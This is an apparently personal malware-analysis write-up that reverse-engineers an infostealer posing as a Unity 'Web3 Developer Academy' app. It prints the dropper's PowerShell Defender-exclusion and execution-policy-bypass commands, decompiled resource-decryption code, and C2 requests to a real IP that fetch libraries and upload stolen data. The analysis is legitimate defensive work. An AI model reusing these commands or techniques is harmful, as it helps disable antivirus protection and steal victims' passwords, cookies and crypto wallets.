Reverse-engineering an Infostealer disguised as a Unity application

Sometimes you might happen to have someone send you a ZIP file with some programs. What could these programs contain? Maybe a harmless Web3 programming tutorial? Let's find out.

The First Executable (web3school.exe):

The first executable was contained within a ZIP file called "Web3_Developer_Academy.zip". 
It was sent to me by a user who had fallen victim to the stealer.



 

Inside the ZIP, I found these files, and "web3school.exe" was the malicious executable. It was written in C++ and when I tried decompiling it with Ghidra, the code seemed obfuscated.



I moved the files into my Windows 10 VM, ran the "web3school.exe" program and I was greeted by this GUI, that was programmed to remain stuck there. There were no other actual "web3 learning" Unity assets. The text that is displayed below was in image format.

After some close inspection, I saw that after "web3school.exe" was executed, a file called "univer.exe" was dropped in %Temp%, and then I got a UAC prompt from "%Temp%\abra.bat". Inside it was a base64 string that tranlated to:
Add-MpPreference -ExclusionPath ([System.Environment]::GetEnvironmentVariable('USERPROFILE') + '')

That was then executed in PowerShell, by this command:
powershell -inputformat none -outputformat none -NonInteractive -ExecutionPolicy Bypass -enc

After that, "univer.exe" was called.


The Second Executable (univer.exe):

When I analyzed univer.exe, I found out that it was a .NET C# application, obfuscated with Eziriz's .NET Reactor. I used NETReactorSlayer to clean the code, and dnSpy to inspect it. When I imported it to dnSpy, I noted the program's .NET name was "boxed_installaton_and_debug.exe". The code was still kind of scrambled, with large strings of Hebrew characters being parameters to functions, but one thing caught my attention. In the program's resources were 2 files called FuYPLhOt and MNgfrBeH, that seemed to be encrypted. A moment later, after inspecting the code near the entry point, I found this function.
public byte[] CwHeYvkCq(byte[] byte_0, string string_1, string string_2)
{
    MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
    byte[] key = md5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(string_2));
    byte[] array = new byte[16];
    Array.Copy(byte_0, array, 16);
    checked
    {
        byte[] array2 = new byte[byte_0.Length - 17 + 1];
        Array.Copy(byte_0, 16, array2, 0, byte_0.Length - 16);
        byte[] result;
        using (AesManaged aesManaged = new AesManaged())
        {
            aesManaged.Key = key;
            aesManaged.Mode = CipherMode.CBC;
            aesManaged.IV = array;
            using (ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor())
            {
                byte[] array3 = cryptoTransform.TransformFinalBlock(array2, 0, array2.Length);
                result = array3;
            }
        }
        return result;
    }
}
  • byte_0 is the data to be decrypted
  • string_1 is never used, so it can be ignored
  • string_2 is the decryption key
This is the decryption function for the resources. It works by taking the decryption key and hashing it with MD5, then using the hash as the key. After that, the first 16 bytes of the encrypted resource are being used as the IV, and a CBC decryption is performed. That leaves us with something like this:
public byte[] Decrypt(byte[] encrypted_data, string decryption_key)
{
    // get MD5 of decryption key and use it as AES key
    MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
    byte[] aes_key = md5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(decryption_key));
    // get first 16 bytes of encrypted data and use it as AES IV
    byte[] aes_iv = new byte[16];
    Array.Copy(encrypted_data, aes_iv, 16);
    checked
    {
        byte[] data16 = new byte[encrypted_data.Length - 17 + 1];
        Array.Copy(encrypted_data, 16, data16, 0, encrypted_data.Length - 16);
        byte[] result;
        using (AesManaged aesManaged = new AesManaged())
        {
            aesManaged.Key = aes_key;
            aesManaged.Mode = CipherMode.CBC;
            aesManaged.IV = aes_iv;
            using (ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor())
            {
                // perform the decryption
                byte[] final = cryptoTransform.TransformFinalBlock(data16, 0, data16.Length);
                result = final;
            }
        }
        return result;
    }
}

Here are the decryption keys for the 2 resources embedded in the executable.

I extracted the resources, and decrypted them using the key and IV on CyberChef.




It is now clear that both resources were actally executables. I saved the files on my PC and analyzed them.

The Third and Fourth Executable (MNgfrBeH and FuYPLhOt):


    MNgfrBeH is a C++ executable, and contains some encrypted strings in FUN_00401341.


After I saw that, I went to the decrypt function FUN_0040104e, and I saw a lot of junkcode there.

HLOCAL FUN_0040104e(int param_1,char *param_2,uint param_3)

{
  uint uVar1;
  HANDLE hHeap;
  HLOCAL pvVar2;
  size_t sVar3;
  DWORD dwFlags;
  SIZE_T dwBytes;
  LPWSTR local_8;
  
  uVar1 = param_3;
  dwBytes = 6000;
  dwFlags = 0;
  hHeap = GetProcessHeap();
  local_8 = (LPWSTR)HeapAlloc(hHeap,dwFlags,dwBytes);
  lstrcatW(local_8,
           L"Club Deportivo Elgoibar is a football team based in Elgoibar in the autonomous communit y of Basque Country."
          );
  lstrcatW(local_8,
           L"Club Deportivo Elgoibar is a football team based in Elgoibar in the autonomous communit y of Basque Country."
          );
  lstrcatW(local_8,
           L"Club Deportivo Elgoibar is a football team based in Elgoibar in the autonomous communit y of Basque Country."
          );
  lstrcatW(local_8,
           L"Club Deportivo Elgoibar is a football team based in Elgoibar in the autonomous communit y of Basque Country."
          );
  lstrcatW(local_8,
           L"Club Deportivo Elgoibar is a football team based in Elgoibar in the autonomous communit y of Basque Country."
          );
  lstrcatW(local_8,
           L"Club Deportivo Elgoibar is a football team based in Elgoibar in the autonomous communit y of Basque Country."
          );
  lstrcatW(local_8,
           L"Club Deportivo Elgoibar is a football team based in Elgoibar in the autonomous communit y of Basque Country."
          );
  lstrlenW(local_8);
  lstrlenW(local_8);
  lstrlenW(local_8);
  lstrlenW(local_8);
  pvVar2 = LocalAlloc(0x40,param_3 + 1);
  lstrlenW(local_8);
  lstrlenW(local_8);
  lstrlenW(local_8);
  lstrlenW(local_8);
  *(undefined *)((int)pvVar2 + param_3) = 0;
  lstrlenW(local_8);
  lstrlenW(local_8);
  lstrlenW(local_8);
  lstrlenW(local_8);
  param_3 = 0;
  if (uVar1 != 0) {
    do {
      lstrlenW(local_8);
      lstrlenW(local_8);
      lstrlenW(local_8);
      lstrlenW(local_8);
      sVar3 = _strlen(param_2);
      *(byte *)(param_3 + (int)pvVar2) =
           param_2[param_3 % sVar3] ^ ((byte *)(param_3 + (int)pvVar2))[param_1 - (int)pvVar2];
      lstrlenW(local_8);
      lstrlenW(local_8);
      lstrlenW(local_8);
      lstrlenW(local_8);
      param_3 = param_3 + 1;
    } while (param_3 < uVar1);
  }
  lstrlenW(local_8);
  lstrlenW(local_8);
  lstrlenW(local_8);
  lstrlenW(local_8);
  _memset(&local_8,0,4);
  return pvVar2;
}
I analyzed the code in FUN_0040104e and wrote a decrypt function in JavaScript to try and decrypt some of them.
function Decrypt(param_1, param_2) {
    const result = [];
    const length = param_2.length;

    for (let i = 0; i < param_1.length; i++) {
        const charCode1 = param_1.charCodeAt(i);
        const charCode2 = param_2.charCodeAt(i % length);
        const decryptedChar = String.fromCharCode(charCode1 ^ charCode2);
        result.push(decryptedChar);
    }

    return result.join('');
}

const decrypted = Decrypt("tX$2=q}2!P?;/.'k\v\\>>8=7K", "87GSQQ8JU5QHFAIKX9JJQSP8");
console.log(decrypted);

//output: Local Extension Settings

Some of these strings were filenames like cookies.sqlite, some others were SQL queries that looked for passwords, and some others had a string of seemingly random characters, but these turned out to be extension names for Crypto wallets, just like this one: fihkakfobkmkjojpchpfgcmhfjnmnfpi. The program mostly targets wallets and saved passwords from browsers.

The other executable, FuYPLhOt is another .NET program, acting as a self-injector, with 2 DLLs in its resources, one for 32-bit systems, and one for 64-bit ones.

Further Analysis

  • Network traffic
       When analyzing the packets from my VM, I found 3 HTTP requests to 116.202.7.149:27015
         All requests used the following User-Agent:
         Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 OPR/104.0.0.0

    • One of them was a GET on 116.202.7.149:27015/0045e8577d0df745e80e2964a6672412, and was used to provide a token for uploading data to the server
    • The next one was another GET on 116.202.7.149:27015/archieve.zip, which contained libraries for the rest of the malware
    • The final one was a POST on 116.202.7.149:27015 with a ZIP file containing a screenshot of the PC, and a TXT file with the computer's info and specifications. The zip was sent along with an ID, HWID and the token from the first request, in multipart/form-data format



Comments